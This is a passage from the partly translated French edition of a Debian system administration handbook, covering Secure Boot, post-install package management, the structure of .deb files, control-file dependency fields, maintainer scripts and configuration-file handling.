Secure Boot est une technologie qui garantit que vous n'utilisez que des logiciels validés par le fournisseur de votre système d'exploitation. Pour accomplir son travail, chaque élément des séquences de démarrage valide le composant logiciel suivant qu'il va exécuter. Au niveau le plus profond, le firmware UEFI intègre des clés cryptographiques fournies par Microsoft pour vérifier la signature du chargeur d'amorçage, garantissant ainsi la sécurité de son exécution. Comme obtenir un binaire signé par Microsoft est un long processus, Debian a décidé de ne pas signer GRUB directement. À la place, elle utilise un chargeur d'amorçage intermédiaire appelé shim, qui n'a presque jamais besoin de changer, et dont le seul rôle est de vérifier la signature fournie par Debian sur GRUB et d'exécuter GRUB. Pour faire fonctionner Debian sur une machine ayant le Secure Boot activé, le paquet shim-signed doit être installé.

En bas de la pile, GRUB fera une vérification similaire avec le noyau, puis le noyau pourrait également vérifier les signatures des modules qui sont chargés. Le noyau pourrait également interdire certaines opérations qui pourraient altérer l'intégrité du système.

Debian 10 (Buster) était la première version prenant en charge Secure Boot. Auparavant, vous deviez désactiver cette fonctionnalité dans l'écran de configuration du système proposé par le BIOS ou l'UEFI.

4.2.19. Terminer l'installation et redémarrer

L'installation étant maintenant terminée, le programme vous invite à sortir le CD-Rom de son lecteur, puis à redémarrer le PC.

Figure 4.15. Installation terminée

4.3. Après le premier démarrage

Si vous avez activé la tâche Environnement graphique de bureau sans choisir un environnement de bureau explicitement (ou en choisissant « GNOME »), l'ordinateur affiche le gestionnaire de connexion gdm3.

Figure 4.16. Premier démarrage

L'utilisateur déjà créé peut alors se connecter et commencer à travailler immédiatement.

4.3.1. Installation de logiciels supplémentaires

Les paquets installés correspondent aux profils sélectionnés pendant l'installation, mais pas nécessairement à l'utilisation réelle qui sera faite de la machine. On lancera donc vraisemblablement un outil de gestion de paquets, pour affiner la sélection des paquets installés. Les deux outils les plus couramment utilisés (et qui sont installés si le profil Environnement graphique de bureau a été coché) sont apt (accessible en ligne de commande) et synaptic (Gestionnaire de paquets Synaptic dans les menus).

Pour faciliter l'installation d'ensembles logiciels cohérents, Debian crée des « tâches » dédiées à des usages spécifiques (serveur de messagerie, serveur de fichiers, etc.). On a déjà pu les sélectionner dans l'installateur et on peut y avoir de nouveau accès dans les outils de gestion de paquets comme aptitude (les tâches sont listées dans une section à part) et synaptic (par le menu, Édition → Sélectionner des paquets par tâche) ; tous les programmes qui les composent seront alors automatiquement installés.

aptitude est une interface à APT en mode texte plein écran. Elle permet de naviguer dans la liste des paquets disponibles selon différents classements (paquets installés ou non, par tâche, par section, etc.) et de consulter toutes les informations disponibles à propos de chacun d'entre eux (dépendances, conflits, description, etc.). Chaque paquet peut être marqué à installer (touche +) ou à supprimer (touche -). Toutes ces opérations seront effectuées simultanément après confirmation par appui sur la touche g (comme go, ou « allez ! »). En cas d'oubli de certains logiciels, aucun souci, il sera toujours possible d'exécuter à nouveau aptitude une fois l'installation initiale achevée.

ASTUCE Debian pense aux francophones

Il existe une tâche dédiée à la localisation du système en français. Elle comprend de la documentation en français, des dictionnaires français et divers autres paquets utiles aux francophones. Elle est automatiquement présélectionnée si le français a été retenu pour la langue d'installation.

Bien entendu, il est possible de ne sélectionner aucune tâche. Dans ce cas, il vous suffira d'installer manuellement les logiciels souhaités avec la commande apt ou aptitude (toutes deux accessibles en ligne de commande). Les paquets peuvent être trouvés en utilisant la commande apt-cache search task mot-clé .

VOCABULAIRE Dépendance, conflit d'un paquet

Dans le jargon des paquets Debian, une « dépendance » est un autre paquet nécessaire au bon fonctionnement du paquet concerné. Inversement, un « conflit » est un paquet qui ne peut pas cohabiter avec celui-ci.

Ces notions sont traitées plus en détail dans le Chapitre 5, Système de paquetage, outils et principes fondamentaux.

4.3.2. Mise à jour du système

Un premier apt upgrade (commande de mise à jour automatique des versions des logiciels installés) est généralement de rigueur, notamment en raison d'éventuelles mises à jour de sécurité parues depuis la publication de la dernière version stable de Debian. Ces mises à jour pourront impliquer quelques questions supplémentaires via debconf, l'outil de configuration standard de Debian. Pour plus d'informations sur les mises à jour effectuées par apt, on peut consulter la Section 6.2.3, « Mise à jour ».

Chapitre 5. Système de paquetage, outils et principes fondamentaux

En tant qu'administrateur de système Debian, vous allez régulièrement manipuler des paquets (fichiers .deb) car ils abritent des ensembles fonctionnels cohérents (applications, documentations...) dont ils facilitent l'installation et la maintenance. Mieux vaut donc savoir de quoi ils sont constitués et comment on les utilise.

Vous trouverez ci-après la description des structures et contenus des paquets de type « binaire », puis « source ». Les premiers sont les fichiers directement utilisables par dpkg alors que les seconds contiennent les codes sources des programmes ainsi que les instructions pour créer les paquets binaires.

5.1. Structure d'un paquet binaire

Le format d'un paquet Debian est conçu de telle sorte que son contenu puisse être extrait sur tout système Unix disposant des commandes classiques ar, tar et xz parfois xz ou bzip2. Cette propriété en apparence anodine est importante du point de vue de la portabilité et de la récupération en cas de catastrophe.

Imaginons par exemple que vous ayez supprimé le programme dpkg par erreur et que vous ne puissiez donc plus installer de paquets Debian. dpkg étant lui-même un paquet Debian, votre système semble condamné... Heureusement, vous connaissez le format d'un paquet et pouvez donc télécharger le fichier .deb du paquet dpkg et l'installer manuellement (voir encadré OUTILS dpkg, APT et ar). Si par malheur un ou plusieurs des programmes ar, tar ou gzip/xz/bzip2 avaient disparu, il suffirait de copier le programme manquant depuis un autre système (chacun fonctionnant de manière totalement autonome, une simple copie est suffisante). Si votre système souffrait d'un problème encore plus important, et que même ceci ne fonctionnait pas (peut-être que des bibliothèques de base sont manquantes ?), vous pourriez essayer la version statique de busybox (fournie pour le paquet busybox-static), qui est encore plus autonome, et qui fournit des sous-commandes telles que busybox ar, busybox tar et busybox xz.

En cas de défaillance, il est préférable d'avoir également une sauvegarde de votre système (voir Section 9.10, « Sauvegarde »).

OUTILS dpkg, APT et ar

dpkg est le programme qui permet de manipuler des fichiers .deb (des paquets binaires), notamment de les extraire, analyser, décompacter, etc.

APT (l'abréviation de "Advanced Packaging Tool") est un ensemble logiciel qui sert à effectuer des modifications globales sur le système : installation ou suppression d'un paquet en gérant les dépendances, mise à jour du système, consultation des paquets disponibles, etc.

Comme pour le programme ar, fourni par le paquet binutils, il permet de manipuler des fichiers ayant le même nom :

- ar t archive affiche la liste des fichiers contenus dans ce genre d'archive,

- ar x archive extrait les fichiers de l'archive dans le dossier courant,

- ar d archive fichier supprime un fichier de l'archive, etc.

Its man page ar(1) documents all its other features. ar is a very rudimentary tool that a Unix administrator would only use on rare occasions, but admins routinely use tar, a more evolved archive and file management program. This is why it is easy to restore dpkg in the event of an erroneous deletion. You would only have to download the Debian package and extract the content from the data.tar.xz archive in the system's root (/):

# ar x dpkg_1.20.9_amd64.deb

# tar -C / -p -xJf data.tar.xz

B.A.-BA Notation des pages de manuel

Il est déroutant, pour les néophytes, de trouver dans la littérature des références à « ar(1) ». Il s'agit en fait généralement d'une notation commode pour désigner la page de manuel intitulée ar dans la section 1.

Il peut aussi arriver que cette notation soit utilisée pour lever des ambiguïtés, par exemple pour différencier la commande printf que l'on pourra désigner par printf(1) et la fonction printf du langage C, que l'on pourra désigner par printf(3).

Le Chapitre 7, Résolution de problèmes et sources d'informations revient plus longuement sur les pages de manuel (voir Section 7.1.1, « Les pages de manuel »).

Examinons le contenu d'un fichier .deb :

$ ar t dpkg_1.20.9_amd64.deb

debian-binary

control.tar.gz

data.tar.xz

$ ar x dpkg_1.20.9_amd64.deb

$ ls

control.tar.gz  data.tar.xz  debian-binary  dpkg_1.20.9_amd64.deb

$ tar tJf data.tar.xz | head -n 16

./

./etc/

./etc/alternatives/

./etc/alternatives/README

./etc/cron.daily/

./etc/cron.daily/dpkg

./etc/dpkg/

./etc/dpkg/dpkg.cfg

./etc/dpkg/dpkg.cfg.d/

./etc/logrotate.d/

./etc/logrotate.d/alternatives

./etc/logrotate.d/dpkg

./sbin/

./sbin/start-stop-daemon

./usr/

./usr/bin/

$ tar tJf control.tar.xz

./

./conffiles

./control

./md5sums

./postrm

$ cat debian-binary

2.0

Comme vous le voyez, l'archive ar d'un paquet Debian est constituée de trois fichiers:

debian-binary

Il s'agit d'un fichier texte ne contenant que le numéro de version du format des fichiers .deb. Dans Debian Bullseye c'est encore la version 2.0.

control.tar.xz

This archive file contains all of the available meta-information, like the name and version of the package as well as some scripts to run before, during or after (un-)installation of it. Some of the meta-information allows package management tools to determine if it is possible to install or uninstall it, for example according to the list of packages already on the machine, and if files shipped have been modified locally.

data.tar.xz, data.tar.bz2, data.tar.gz

This archive contains all of the files to be extracted from the package; this is where the executable files, libraries, documentation, etc., are all stored. Packages may use different compression formats, in which case the file will be named differently for xz, bzip2 or gzip.

5.2. Méta-informations d'un paquet

The Debian package is not only an archive of files intended for installation. It is part of a larger whole and describes its relationship with other Debian packages (requisites, dependencies, conflicts, suggestions). It also provides scripts that enable the execution of commands at different stages in the package's lifecycle (installation, upgrade, removal). These data are used by the package management tools, but are not part of the packaged software; they are, within the package, what is called its “meta-information” - information about other information.

5.2.1. Description : fichier control

Ce fichier utilise une structure similaire à celle des en-têtes de courrier électronique (telle que définie par RFC 2822) et est entièrement décrit dans la charte Debian et les pages de manuel deb-control(5) et deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

For example, for apt, the control file looks like the following:

$ apt-cache show apt

Package: apt

Version: 2.2.4

Installed-Size: 4337

Maintainer: APT Development Team <deity@lists.debian.org>

Architecture: amd64

Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~)

Provides: apt-transport-https (= 2.2.4)

Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0

Recommends: ca-certificates

Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base

Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10)

Description-en: commandline package manager

This package provides commandline tools for searching and

managing as well as querying information about packages

as a low-level access to all features of the libapt-pkg library.

.

These include:

* apt-get for retrieval of packages and information about them

from authenticated sources and for installation, upgrade and

removal of packages together with their dependencies

* apt-cache for querying available information about installed

as well as installable packages

* apt-cdrom to use removable media as a source for packages

* apt-config as an interface to the configuration settings

* apt-key as an interface to manage authentication keys

Description-md5: 9fb97a88cb7383934ef963352b53b4a7

Tag: admin::package-management, devel::lang:ruby, hardware::storage,

hardware::storage:cd, implemented-in::c++, implemented-in::perl,

implemented-in::ruby, interface::commandline, network::client,

protocol::ftp, protocol::http, protocol::ipv6, role::program,

scope::application, scope::utility, suite::debian, use::downloading,

use::organizing, use::playing, use::searching, works-with-format::html,

works-with::audio, works-with::software:package, works-with::text

Section: admin

Priority: required

Filename: pool/main/a/apt/apt_2.2.4_amd64.deb

Size: 1491328

MD5sum: 24d53e8dd75095640a167f40476c0442

SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

Examinons de plus près l'utilité de certains des champs listés par la commande précédente.

B.A.-BA RFC — les normes d'Internet

RFC is the abbreviation of “Request For Comments”. An RFC is generally a technical document that describes what will become an Internet standard. Before becoming standardized and frozen, these standards are submitted for public review (hence their name). The IETF (Internet Engineering Task Force) decides on the evolution of the status of these documents (proposed standard, draft standard, or standard).

La RFC 2026 définit le processus de standardisation de protocoles d'Internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dépendances : champ Depends

The dependencies are defined in the Depends field in the package header. It is a list of conditions to be met for the package to work correctly. This information is used by tools such as apt in order to install the required libraries, tools, drivers, etc., in appropriate versions fulfilling the dependencies of the package to be installed. For each dependency it is possible to restrict the range of versions that meet that condition. In other words, it is possible to express the fact that we need the package libc6 in a version equal to or greater than “2.15” (written “libc6 (>= 2.15)”). Version comparison operators are as follows:

- << : strictement inférieur à ;

- <= : inférieur ou égal à ;

- = : égal à (attention, « 2.6.1 » n'est pas égal à « 2.6.1-1 ») ;

- >= : supérieur ou égal à ;

- >> : strictement supérieur à.

In a list of conditions to be met, the comma serves as a separator. It must be interpreted as a logical “and”. In conditions, the vertical bar (“|”) expresses a logical “or” (it is an inclusive “or”, not an exclusive “either/or”). Carrying greater priority than “and”, it can be used as many times as necessary. Thus, the dependency “(A or B) and C” is written A | B, C. In contrast, the expression “A or (B and C)” should be written as “(A or B) and (A or C)”, since the Depends field does not tolerate parentheses that change the order of priorities between the logical operators “or” and “and”. It would thus be written A | B, A | C.

→ https://www.debian.org/doc/debian-policy/ch-relationships.html#syntax-of-relationship-fields

The dependencies system is a good mechanism for guaranteeing the operation of a program, but it has another use with “meta-packages”. These are empty packages that only describe dependencies. They facilitate the installation of a consistent group of programs pre-selected by the meta-package maintainer; as such, apt install meta-package will automatically install all of these programs using the meta-package's dependencies. The gnome, kde-full and linux-image-amd64 packages are examples of meta-packages.

CHARTE DEBIAN Champs Recommends, Suggests et Enhances

Les champs Recommends (recommande) et Suggests (suggère) décrivent des dépendances facultatives. Les dépendances « recommandées », les plus importantes, améliorent considérablement les fonctionnalités offertes par le paquet sans pour autant être indispensables à son fonctionnement. Les dépendances « suggérées », secondaires, indiquent que certains paquets peuvent se compléter et augmenter leur utilité respective — mais il est parfaitement raisonnable d'installer l'un sans les autres.

You should always install the “recommended” packages, unless you know exactly why you do not need them. This is now also the default for APT unless configured otherwise. Conversely, it is not necessary to install “suggested” packages unless you know why you need them (the package description or its documentation may contain information which extra functionality they will activate). The behavior of apt can be controlled by using the APT::Install-Recommends and APT::Install-Suggests configuration options or the corresponding command line options --[no-]install-recommends and --[no-]install-suggests.

Le champ Enhances (améliore) décrit lui aussi une suggestion, mais dans un contexte différent. Il se situe en effet dans le paquet suggéré, et non pas dans celui qui profite de la suggestion. Son intérêt est de pouvoir ajouter une suggestion sans devoir modifier le paquet concerné par celle-ci. Ainsi, tous les add-ons (ajouts), plug-ins (greffons) et autres extensions d'un logiciel pourront ensuite prendre place dans la liste des suggestions liées au logiciel. Ce dernier champ, bien qu'existant depuis plusieurs années, est encore largement ignoré par des programmes comme apt ou synaptic. L'objectif est cependant qu'une suggestion faite par le biais d'un champ Enhances apparaisse à l'utilisateur en complément des suggestions traditionnelles — réalisées avec le champ Suggests.

CHARTE DEBIAN Pre-Depends, un Depends plus exigeant

Des « pré-dépendances », données dans le champ « Pre-Depends » de l'en-tête du paquet, complètent les dépendances normales ; leur syntaxe est identique. Une dépendance normale indique que le paquet concerné doit être décompacté et configuré avant que le paquet la déclarant ne soit lui-même configuré. Une pré-dépendance stipule que le paquet concerné doit être décompacté et configuré avant même d'exécuter le script de pré-installation du paquet la déclarant, c'est-à-dire avant son installation proprement dite.

A pre-dependency is very demanding for apt, because it adds a strict constraint on the ordering of the packages to install. As such, pre-dependencies are discouraged unless absolutely necessary. It is even recommended to consult other developers on <debian-devel@lists.debian.org> before adding a pre-dependency. It is generally possible to find another solution as a workaround.

5.2.1.2. Conflits : champ Conflicts

The Conflicts field indicates when a package cannot be installed simultaneously with another. The most common reasons for this are that both packages include a file of the same name and path, or provide the same service on the same TCP port, or would hinder each other's operation.

dpkg refusera d'installer un paquet s'il déclenche un conflit avec un autre paquet déjà présent, sauf si le nouveau paquet précise qu'il « remplace » le paquet installé — auquel cas dpkg choisira de remplacer l'ancien par le nouveau. apt suit toujours vos instructions : si vous choisissez d'installer le nouveau paquet, il proposera automatiquement de désinstaller celui qui pose problème.

5.2.1.3. Incompatibilités : champ Breaks

Le champ Breaks a un effet similaire à celui de Conflicts, mais une signification particulière. Il signale en effet que l'installation du paquet « casse » un autre paquet (ou certaines versions particulières de ce dernier). En général, cette incompatibilité entre les deux paquets est transitoire et la relation Breaks désigne spécifiquement les versions incompatibles entre elles.

dpkg refusera d'installer un paquet qui casse un paquet déjà installé et apt essaiera de résoudre le problème en mettant à jour le paquet qui serait cassé par une version plus récente (que l'on suppose corrigée pour être à nouveau compatible).

Ce genre de situation peut se rencontrer dans le cas de mises à jour sans compatibilité ascendante : c'est le cas si la nouvelle version ne fonctionne plus comme l'ancienne et entraîne un dysfonctionnement d'un autre logiciel en l'absence de dispositions particulières. Le champ Breaks évite que l'utilisateur soit confronté à ces problèmes.

5.2.1.4. Éléments fournis : champ Provides

Ce champ introduit le concept très intéressant de « paquet virtuel ». Il a de nombreux rôles, mais on en distingue deux principaux. Le premier consiste à utiliser un paquet virtuel pour lui associer un service générique (le paquet « fournit » le service). Le second indique qu'un paquet en remplace complètement un autre et qu'à ce titre il peut également satisfaire les dépendances déclarées sur celui-ci. Il est ainsi possible de créer un paquet de substitution sans avoir de contrainte sur son nom.

VOCABULAIRE Métapaquet et paquet virtuel

Distinguons bien les métapaquets des paquets virtuels. Les premiers sont des paquets réels (dotés de fichiers .deb), dont le seul intérêt est d'exprimer des dépendances.

Les paquets virtuels, quant à eux, n'existent pas physiquement ; il s'agit juste d'un moyen d'identifier des paquets réels sur la base d'un critère logique commun (service fourni, compatibilité avec un programme standard ou un paquet préexistant, etc.).

5.2.1.4.1. La fourniture d'un « service »

Détaillons le premier cas par un exemple : tous les serveurs de courrier électronique tels que postfix ou sendmail déclarent « fournir » le paquet virtuel mail-transport-agent. Ainsi, tout paquet qui a besoin de ce service pour fonctionner (ce peut être un gestionnaire de listes de diffusion, comme smartlist ou sympa) se contentera de déclarer dans ses dépendances mail-transport-agent au lieu d'y préciser une grande liste de choix toujours incomplète (postfix | sendmail | exim4 | ...). Par ailleurs, il ne sert à rien d'installer deux serveurs de courrier électronique ; c'est pourquoi chacun de ces paquets déclare un conflit avec le paquet virtuel mail-transport-agent. Un conflit d'un paquet avec lui-même est ignoré par le système, mais cette technique interdira d'installer de concert deux serveurs de courrier électronique.

CHARTE DEBIAN Liste des paquets virtuels

Pour que les paquets virtuels soient utiles, il faut que tout le monde s'entende sur leur nom. C'est pourquoi ils sont standardisés par la charte Debian. La liste comprend entre autres mail-transport-agent pour les serveurs de courrier électronique, c-compiler pour les compilateurs C, www-browser pour les navigateurs web, httpd pour les serveurs web, ftp-server pour les serveurs FTP, x-terminal-emulator pour les émulateurs de terminal en mode graphique (xterm) et x-window-manager pour les gestionnaires de fenêtres.

The full list can be found on the Web.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. L'interchangeabilité avec un autre paquet

The Provides field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.32.1 present in Bullseye). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.

Figure 5.1. Usage d'un champ Provides pour ne pas casser les dépendances

Cette fonctionnalité est très utile puisqu'il n'est jamais possible d'anticiper les aléas du développement et qu'il faut être capable de s'ajuster aux renommages et autres remplacements automatiques de logiciels obsolètes.

B.A.-BA Perl, un langage de programmation

Perl (Practical Extraction and Report Language) is a very popular programming language. It has many ready-to-use modules that cover a vast spectrum of applications, and that are distributed by the CPAN (Comprehensive Perl Archive Network) servers, an exhaustive network of Perl packages.

→ https://www.perl.org/

→ https://www.cpan.org/

Comme il s'agit d'un langage interprété, un programme rédigé en Perl ne requiert pas de compilation préalable à son exécution. C'est pourquoi l'on parle de « scripts Perl ».

5.2.1.4.3. Anciennes limitations

Virtual packages used to suffer from some limitations, the most significant of which was the absence of a version number. To return to the previous example, a dependency such as Depends: libdigest-md5-perl (>= 1.6), despite the presence of Perl 5.10, would have never been considered as satisfied by the packaging system — while in fact it most likely was satisfied. Unaware of this, the package system chose the least risky option, assuming that the versions do not match.

This limitation has been lifted in dpkg 1.17.11, and is no longer relevant. Packages, like perl 5.32.1, can assign a version to the virtual packages they provide, such as Provides: libdigest-md5-perl (= 2.55.01), and thus allow other packages to use versioned dependencies.

5.2.1.5. Remplacements : champ Replaces

The Replaces field indicates that the package contains files that are also present in another package, but that the package is legitimately entitled to replace them. Without this specification, dpkg fails to install the package, stating that it cannot overwrite the files of another package (technically, it is possible to force it to do so with the --force-overwrite option, but that is not considered standard operation). This allows identification of potential problems and requires the maintainer to study the matter prior to choosing whether to add such a field.

L'emploi de ce champ se justifie dans le cas de changements de noms de paquets ou lorsqu'un paquet est intégré dans un autre. Cela se produit également quand le mainteneur a décidé de répartir différemment les fichiers entre divers paquets binaires produits depuis le même paquet source : un fichier remplacé n'appartient plus à l'ancien paquet, mais uniquement au nouveau.

Si tous les fichiers d'un paquet installé ont été remplacés, il est considéré comme supprimé. Enfin, ce champ incite aussi dpkg à supprimer le paquet remplacé en cas de conflit.

POUR ALLER PLUS LOIN Le champ Tag

In the apt example at the beginning, we can see the presence of a field that we have not yet described, the Tag field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who dislike aptitude's search criteria, the following website allows navigation of the tag database:

→ https://wiki.debian.org/Debtags

5.2.2. Scripts de configuration

In addition to the control file, the control.tar.gz archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

POUR ALLER PLUS LOIN Base de données de dpkg

Tous les scripts de configuration des paquets installés sont stockés dans le répertoire /var/lib/dpkg/info/ sous la forme d'un fichier préfixé par le nom du paquet. On y trouve également, pour chaque paquet, un fichier d'extension .list contenant la liste des fichiers appartenant au paquet.

Le fichier /var/lib/dpkg/status contient une série de blocs d'informations (au format des fameux en-têtes de courriers électroniques, RFC 2822) décrivant le statut de chaque paquet. On y trouve également les informations contenues dans le fichier control des différents paquets installés.

In general, the preinst script is executed prior to installation of the package, while postinst follows it. Likewise, prerm is invoked before removal of a package and postrm afterwards. An update of a package is equivalent to removal of the previous version and installation of the new one. It is not possible to describe in detail all the possible scenarios here, but we will discuss the most common two: an installation/update and a removal.

ATTENTION Noms symboliques des scripts

Les séquences décrites dans cette section font appel à des scripts de configuration aux noms particuliers, comme ancien-prerm ou nouveau-postinst. Il s'agit respectivement du script prerm contenu dans l'ancienne version du paquet (installé avant la mise à jour) et du script postinst de sa nouvelle version (mis en place par la mise à jour).

ASTUCE Diagrammes d'états

Manoj Srivastava and Margarita Manterola made the following diagrams explaining how the configuration scripts are called by dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Installation et mise à jour

Lors de l'installation initiale et pour chaque mise à niveau d'un paquet, dpkg appelle les scripts dits scripts du responsable (mainteneur) tels que les scripts prerm ou preinst. Ces scripts peuvent effectuer des actions supplémentaires pendant les différentes étapes du cycle de vie d'un paquet. Les noms de script précédés de new- sont les scripts de la nouvelle version d'un paquet étant installé ou mis à jour. Les noms de script précédés de old- sont les scripts de l'ancienne version d'un paquet qui est mis à niveau.

Lors de chaque invocation dpkg passera certains arguments à chaque script comme upgrade new-version. Le script invoqué peut alors gérer les arguments et effectuer une action particulière, ou ignorer les arguments et renvoyer avec un code de sortie de 0, si rien n'a besoin d'être fait pendant cette étape. Dans la pratique, de nombreux paquets n'auront pas besoin de faire quelque chose à chaque étape du cycle de vie. Ainsi, un script de configuration typique vérifiera un argument particulier et ignorera tous les autres, renvoyant implicitement avec code de sortie 0.

Voici ce qui se passe lors d'une installation (ou d'une mise à jour). Les arguments old-version, new-version et last-configured sont des substituts pour les numéros de version réels (ancien et nouveau) du paquet :

1. For an update, dpkg calls the old-prerm script and passes upgrade new-version as arguments.

2. Still for an update, dpkg then executes the new-preinst script with the arguments upgrade old-version; for the initial installation, it executes the new-preinst script and passes install as argument. It may add the old version in the last parameter, if the package has already been installed and removed since (but not purged, and thus configuration files have been retained).

3. Les fichiers du nouveau paquet sont décompactés. Si un fichier existait au préalable, il est remplacé mais une copie de sauvegarde est temporairement réalisée.

4. For an update, dpkg executes the old-postrm script and passes upgrade new-version as arguments.

5. dpkg met à jour toutes ses données internes (liste de fichiers, scripts de configuration) et supprime les copies de sauvegarde des fichiers remplacés. C'est un point de non-retour : dpkg ne dispose plus désormais de tous les éléments nécessaires pour revenir à l'état antérieur.

6. dpkg va mettre à jour les fichiers de configuration en demandant à l'utilisateur de trancher s'il est incapable de tout gérer automatiquement. Les détails de cette procédure se trouvent dans la Section 5.2.3, « Checksums, List of Configuration Files, et al. ».

7. Finally, dpkg configures the package by executing the new-postinst script with the arguments configure last-version-configured.

5.2.2.2. Suppression de paquets

Les étapes pour supprimer un paquet sont analogues aux étapes d'installation. La principale différence est que les scripts de suppression du paquet sont appelés :

1. dpkg calls the prerm script and passes the remove argument.

2. dpkg removes all of the package's files, with the exception of the configuration files and maintainer scripts.

3. dpkg executes the postrm script and passes remove as argument. Afterwards, all of the maintainer scripts, except the postrm script, are removed. If the user has not used the “purge” option, the process stops here.

4. For a complete purge of the package (command issued with dpkg --purge or dpkg -P), the configuration files are also deleted, as well as a certain number of copies (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) and temporary files; dpkg then executes the postrm script and passes purge as argument.

VOCABULAIRE La purge, une suppression complète

Lorsqu'un paquet Debian est supprimé, les fichiers de configuration sont conservés afin de faciliter une éventuelle réinstallation. De même, les données gérées par un démon (comme le contenu de l'annuaire d'un serveur LDAP, ou le contenu de la base de données pour un serveur SQL) sont habituellement conservées.

Pour supprimer toute donnée associée au paquet, il faut procéder à sa « purge » avec la commande dpkg -P paquet, apt-get remove --purge paquet ou aptitude purge paquet.

Étant donné le caractère définitif de cette suppression de données, on prendra garde de ne pas utiliser la purge à la légère.

Les quatre scripts évoqués précédemment sont complétés par un script config, fourni par les paquets utilisant debconf pour obtenir de l'utilisateur des informations de configuration. Lors de l'installation, ce script définit en détail les questions posées par debconf. Les réponses sont enregistrées dans la base de données de debconf pour référence ultérieure. Le script est généralement exécuté par apt avant d'installer un à un tous les paquets afin de regrouper en début de processus toutes les questions posées à l'utilisateur. Les scripts de pré- et post-installation pourront ensuite exploiter ces informations pour effectuer un traitement conforme aux vœux de l'utilisateur.

OUTIL debconf

debconf fut créé pour résoudre un problème récurrent chez Debian. Tous les paquets Debian incapables de fonctionner sans un minimum de configuration posaient des questions à l'utilisateur avec des appels à echo et read dans les scripts shell postinst et similaires. Mais cela impliquait également, lors d'une grosse installation ou mise à jour, de rester à côté de son ordinateur pour renseigner ces requêtes qui pouvaient se produire à tout moment. Ces interactions manuelles ont désormais presque totalement disparu au profit de l'outil debconf.

debconf offre de nombreuses caractéristiques intéressantes : il contraint le développeur à spécifier les interactions avec l'utilisateur, il permet de localiser les différentes chaînes de caractères affichées (toutes les traductions sont stockées dans le fichier templates décrivant les interactions), il dispose de différents modules d'affichage pour présenter les questions à l'utilisateur (modes texte, graphique, non interactif) et il permet de créer une base centrale de réponses pour partager la même configuration entre plusieurs ordinateurs... Mais la plus importante est qu'il est maintenant possible de présenter toutes les questions d'un bloc à l'utilisateur avant de démarrer une longue installation ou mise à jour. L'utilisateur peut alors vaquer à ses occupations pendant que le système s'installe, sans avoir à rester devant son écran pour y surveiller l'installation.

5.2.3. Checksums, List of Configuration Files, et al.

En plus des scripts du mainteneur et des données de contrôle déjà mentionnées dans les sections précédentes, l'archive control.tar.gz d'un paquet Debian peut contenir d'autres fichiers intéressants.

The first, md5sums, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in Section 14.3.4.1, « Audit des paquets avec dpkg --verify ») and debsums (from the package of the same name; see Section 14.3.4.2, « Audit des paquets : l'outil debsums et ses limites ») to check if these files have been modified since their installation. Note that when this file doesn't exist, which might be the case for some older packages, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).

The file conffiles lists package files that must be handled as configuration files (see also deb-conffiles(5)). Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.

En effet, dans une telle situation, dpkg se comporte aussi intelligemment que possible : si le fichier de configuration standard n'a pas évolué entre les deux versions, il ne fait rien. Sinon, il va essayer de le mettre à jour. Deux cas sont possibles : soit l'administrateur n'a pas touché à ce fichier de configuration, auquel cas dpkg installe automatiquement la nouvelle version disponible, soit le fichier a été modifié, auquel cas dpkg demande à l'administrateur quelle version il souhaite utiliser (l'ancienne avec les modifications, ou la nouvelle fournie par le paquet). Pour l'aider à prendre sa décision, dpkg lui propose de consulter un « diff » présentant les différences entre les deux versions. S'il choisit de conserver l'ancienne version, la nouvelle sera stockée au même emplacement dans un fichier suffixé de .dpkg-dist. S'il choisit la nouvelle version, l'ancienne sera conservée dans un fichier .dpkg-old. La dernière possibilité offerte consiste à interrompre momentanément dpkg pour éditer le fichier et tenter d'y reprendre les modifications pertinentes (préalablement identifiées grâce au diff).

POUR ALLER PLUS LOIN Forcer dpkg à poser les questions sur les fichiers de configuration

The --force-confask option requires dpkg to display the questions about the configuration files, even in cases where they would not normally be necessary. Thus, when reinstalling a package with this option, dpkg will ask the questions again for all of the configuration files modified or deleted by the administrator. This is very convenient, especially for reinstalling the original configuration file if it has been deleted and no other copy is available: a normal re-installation won't work, because dpkg considers removal as a form of legitimate modification, and, thus, doesn't install the desired configuration file.

See the sidebar POUR ALLER PLUS LOIN Éviter les questions sur les fichiers de configuration for how to use these options with APT.

POUR ALLER PLUS LOIN Éviter les questions sur les fichiers de configuration

